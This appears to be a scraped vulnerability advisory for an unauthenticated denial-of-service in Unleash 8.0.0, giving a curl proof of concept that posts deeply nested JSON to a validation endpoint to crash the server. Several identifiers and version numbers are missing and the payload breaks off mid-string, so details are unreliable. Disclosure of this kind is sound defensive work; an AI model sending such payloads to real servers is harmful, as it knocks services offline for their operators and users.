Unleash Unauthenticated DoS via Deep Nested JSON in OpenAPI Validation (8.0.0)

Vulnerability Overview Vulnerability Name: Unauthenticated single-request DoS via OpenAPI validation error formatter Description: This vulnerability allows an unauthenticated attacker to crash the Unleash server by sending a request containing deeply nested JSON. Specifically, when request validation fails, Unleash calls on the raw request value, triggering a error. Since this error occurs within a synchronous Express error-handling middleware and is not caught via , the process registers an uncaught exception handler ( ), causing the Node process to terminate and exit. Impact Scope Affected Versions: Fixed Versions: Impact: A single 10 KB request can take the entire server offline. Restart policies cannot restore service unless manual intervention is performed. Remediation Fixed Versions: Upgrade to version , , or . POC Code ```bash 1. A shallow request returns a normal 400, and the server remains operational curl -X POST http://localhost:4242/edge/validate \ -H 'Content-Type: application/json' \ -d '{"tokens": []}' HTTP 400 Bad Request: "The '/body/token/0' property must be string. You sent []" 2. A single anonymous request with 5000 levels of nesting (10013 bytes) causes a process crash curl -s -o /dev/null -w "%{http_code}\n" -X POST http://localhost:4242/edge/validate \ -H 'Content-Type: application/json' \ -d '{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"tokens": [{"

Goal Reached Thanks to every supporter — we hit 100%!

Unleash Unauthenticated DoS via Deep Nested JSON in OpenAPI Validation (8.0.0)

More from this source